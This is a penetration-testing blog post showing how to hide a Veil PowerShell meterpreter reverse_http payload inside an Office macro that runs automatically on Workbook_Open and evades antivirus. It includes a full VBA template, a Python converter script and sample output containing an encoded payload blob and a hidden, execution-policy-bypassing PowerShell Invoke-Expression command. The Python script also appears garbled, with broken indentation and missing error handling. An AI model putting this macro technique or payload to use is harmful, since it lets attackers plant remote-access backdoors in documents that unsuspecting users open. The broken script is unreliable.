Embedding Veil Powershell payloads into Office Documents

So upon reading Backdoooring Office Documents , I wondered if I could achieve something with one of the Veil-framework Powershell payloads.  The end goal being if we had a user on an assessment open and run our macro (which happens more than I would like to admit), we could have a memory resident backdoor that would not get flagged by AV.

1. Veil Payload

Depiction of Veil payloads

To start, we would ned to create a Veil (Veil install/documentation) Powershell payload.  Upon opening Veil, we’ll just enter:

use powershell/VirtualAlloc

This will start the process for generating our specific Powershell payload.  Veil allows for not only msfvenom payloads, but also custom shellcode.  Here, we are going to simply use meterpreter/reverse_http.  Oh and, in case you were wondering, Veil supports tab completion on the msfvenom payloads!

Veil payload options

Once the shellcode is generated, we then name our output and take note of its location.  Oh and move it to our Office machine🙂

Screen shot 2014-05-30 at 11.31.41 AM

2. Office Macros

Now onto embedding the payload into an office document.  Open Office, and head to the developer tab, and open the Visual Basic editor:

Screen shot 2014-05-30 at 3.49.43 PM

From here, open the payload.bat from Veil in a text editor, and copy the first section (x86) from the word powershell until the end of the first if statement:

Screen shot 2014-05-30 at 4.01.08 PM

We will need to create a new Subfunction, “Workbook_Open()”, create two new String objects, “exec” and “str”, and paste this as the string value for “exec” in the VBA pane.

Sub Workbook_open()
Dim exec As String
Dim str As String

str = ""
exec = "[entire string]"

Of course it complains, but this is okay since we will fix this by using string concatenation.  Head to the string just after “FromBase64_decrypt” and cut the entire section in between the quotation marks.  Insert this string as the “str” value.


The string is still too long!  Ok, let’s split it in half and concatenate the string back together one line later:

str = "[Value A]"
str = str + "[Value B]"

Now, we can call the variable “str” in between the the quotation marks:

Screen shot 2014-05-30 at 4.26.11 PM

Next, we need to properly escape all the quotations on the line by changing \” to \””. There are occurrences before “Invoke-Express”, and before and after the variable “str”.  Finally, we place the entire thing into a Shell().  Our VBA editing is complete.

Screen shot 2014-06-02 at 10.12.23 AM

We could continue breaking up the strings and concatenating them back numerous times if need be to make things easy to read or fit into a blog! Below is a copy/paste friendly (read cleaner) template.  Also considering how tedious this can be by hand, I wrote a python script, also below, that automates moving this into a vba-friendly output.


Sub Workbook_Open()
Dim exec As String
Dim str As String

str = "[half payload value]"
str = str + "[half payload value]"
exec = "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command"
exec = exec + " ""Invoke-Expression $(New-Object IO.StreamReader "
exec = exec + "($(New-Object IO.Compression.DeflateStream "
exec = exec + "($(New-Object IO.MemoryStream (,$([Convert]"
exec = exec + "::FromBase64String(\"" " & payload & " \"")))),"
exec = exec + "[IO.Compression.CompressionMode]::Decompress)),"
exec = exec + "[Text.Encoding]::ASCII)).ReadToEnd();"" "


Macro_safe.py: (google drive download here) (new github link here, part of the MacroShop repository)


# macro_safe.py
# Takes Veil powershell batch file and outputs into a text document 
# macro safe text for straight copy/paste.

import os, sys
import re

def formStr(varstr, instr):
 holder = []
 str1 = ''
 str2 = ''
 str1 = varstr + ' = "' + instr[:54] + '"' 
 for i in xrange(54, len(instr), 48):
     holder.append(varstr + ' = '+ varstr +' + "'+instr[i:i+48])
     str2 = '"\r\n'.join(holder)
 str2 = str2 + "\""
 str1 = str1 + "\r\n"+str2
 return str1

if len(sys.argv) < 2:
 print "----------------------\n"
 print " Macro Safe\n"
 print "----------------------\n"
 print "\n"
 print "Takes Veil batch output and turns into macro safe text\n"
 print "\n"
 print "USAGE: " + sys.argv[0] + " <input batch> <output text>\n"
 print "\n"

 fname = sys.argv[1]
 f = open(fname)
 lines = f.readlines()
 cut = []

 for line in lines:
     #split on else to truncate the back half
     first = line.split('else')
     # split on \" 
     cut = first[0].split('\\"', 4)
     #get rid of everything before powershell
     cut[0] = cut[0].split('%==x86')[1] 
     cut[0] = cut[0][2:] 

     #get rid of trailing parenthesis
     cut[2] = cut[2].strip(" ")
     cut[2] = cut[2][:-1]

 # for i in range(0,3):
 # print str(i) + " " +cut[i]
 top = "Sub Workbook_Open()\r\n"
 top = top + "Dim str As String\r\n"
 top = top + "Dim exec As String\r\n"
 #insert '\r\n' and 'str = str +' every 48 chars after the first 54.
 payL = formStr("str", str(cut[1]))
 #double up double quotes, add the rest of the exec string 
 idx = cut[0].index('"')
 cut[0] = cut[0][:idx] + '"' + cut[0][idx:]
 cut[0] = cut[0] + "\\\"\" \" & str & \" \\\"\" " + cut[2] +"\""
 #insert 'exec = exec +' and '\r\n' every 48 after the first 54.
 execStr = formStr("exec", str(cut[0]))

 shell = "Shell(exec)"
 bottom = "End Sub\r\n\r\n\'---Generated by macro_safe.py by khr040sh---"
 final = ''
 final = top + "\r\n" + payL + "\r\n\r\n" + execStr + "\r\n\r\n" + shell + "\r\n\r\n" + bottom + "\r\n"

 print final

    f = open(sys.argv[2],'w')
    f.write(final) # python will convert \n to os.linesep
    print "Error writing file.\n Please check permissions and try again.\nExiting..."
 print "File written to " + sys.argv[2] + " !"

Sample output from python code:

Sub Workbook_Open()
Dim str As String
Dim exec As String

str = "nVZNj+M2DL3nVwiBDwkmnsrf9gQD7LSLBRYoigIzaA9BsJBleWKsYw"
str = str + "e2vJuZtv+94kvo6XYvRS+0RVHk4yNNy9PiXrxbLnbv2/bj8d"
str = str + "QPdrX8bIbOtFF4W7Xtcr0Xp6lsGy1Gq6x7mLN1++JjZ3+1g/"
str = str + "itGeyk2oe27fXqqvu6EVPTWXG+Pl+uz9f19n/H+Wkwypqng3"
str = str + "tUHGe6+v2yEW+Rr2//iH3V/Dv6cfyiB/tfYh/NcTR29b3nOa"
str = str + "vlu4XXOyIfqsp/ejkZ4bszpRnem7rpGtv0nfC08H9RRyOWvz"
str = str + "ddFC6F37nVeFLaCGg+TJ0my1H4JzWO9jBMC+987/V3d9+QLD"
str = str + "fyHEhJj+jyiOV6K3Y/vliz2++9kSrai4dBH8RoWqOtqTbXt6"
str = str + "Z7xsadOOepqIf+KOzBiJN6aXtVLT70U1eJMBS6P54cEWVrhO"
str = str + "l0X5lhXDxYa44nuLD9Vc0nxdfGHkQgGkebuiTR1xTjh/HQfF"
str = str + "ZWfXpWnzrVLL5XiXHS2pjKXJ2MzasRUZKK1ezsXq4XUzc2z5"
str = str + "0z0gc1iHKqd3uXpku+Kp3QtROlcqJOnUhCIod0YU4mhRNZTE"
str = str + "sSNYnE0JI2NIkyIF3kRE5CkxdJdhE2aBnQUka8NBSjJPo1xa"
str = str + "3iWUcmUULuSdQhgyw1GeNExHGxkVOMjERFqBRh1uQvI5MCXi"
str = str + "oS5EAqPgb0cF+WjEqSSUTGEb0lGTmgkAW5r8l9TcdS2jUgJ2"
str = str + "SGYjoWErSQjgWAVjBXmnQx7EJmIyNoGe0a2k3JXwy4CaPKkD"
str = str + "R5NgRcGtYhGVAiEw6J9FE3kIN6IIUk57MJqkpvFe0aVLXkCo"
str = str + "J2COzmciZRMYKw4mZAtcI5yzRjmuKMjQMSiuyKiHdRQcCVKT"
str = str + "dIHjLPcAoTeInJJEXN0XCaa3RJYe4XjbhABQ5yzi1XDC1T3D"
str = str + "lydlWRXQqkFCinZV4z3DjnVFPSRWgQIAUq2ohrrip6A1UFf8"
str = str + "gNOpCow9kzBk/BxAJpKLnIipCW9Uwi+SsKjoZlEjPjlyLDC8"
str = str + "ENcBb+Yj5R5Ex7nnBcSYGCgikxtCznBkZzBWgGxcdQhRhfcs"
str = str + "j8oc2Q4BsRqPnFhIzxdYNYUJKQMCAWb7RRGm4pREOfXqYKTA"
str = str + "CS7IqQT+DDBr6czsp8Ro8CaE4LcdFmmC8JnSjQNIQU0wKAYn"
str = str + "z7ilFV5CDFeFBMLGbEBXjM6SsIpEXGKp53aRmTFwwekIMeyu"
str = str + "a5VmGWKE4fmZuEdZiEeMsrfkOX1CXXCGy86VDQlHRoZfRuRf"
str = str + "4whpFvnnLN8WEDCwZUmXDJCoqrS+bqApyWmPcKHZFxtQpMH8"
str = str + "y6gOuGZEAnug7DqMYwwgCtGFER4zkMuciYjphNaDOFWQcEGS"
str = str + "Mo35gkHeZGmnD18fMKIkYA6pARSnspPNmZfLuo+0GsvOZebr"
str = str + "1G+O4fvXI//dufTfdsD36wdtqbm7X4g24O16vL7nJ32a+88+"
str = str + "1T7xZRuFrfeM16I9zRndfsNyJYiz9FP1m/m9p2+9fCe8Xd56"
str = str + "uLlyNi45039KA7x6NVg/UfW2NOwn80une3B7qaSPk3"

exec = "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Comm"
exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRe"
exec = exec + "ader ($(New-Object IO.Compression.DeflateStream "
exec = exec + "($(New-Object IO.MemoryStream (,$([Convert]::Fro"
exec = exec + "mBase64String(\"" " & str & " \"" )))), [IO.Comp"
exec = exec + "ression.CompressionMode]::Decompress)), [Text.En"
exec = exec + "coding]::ASCII)).ReadToEnd();"""


End Sub

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s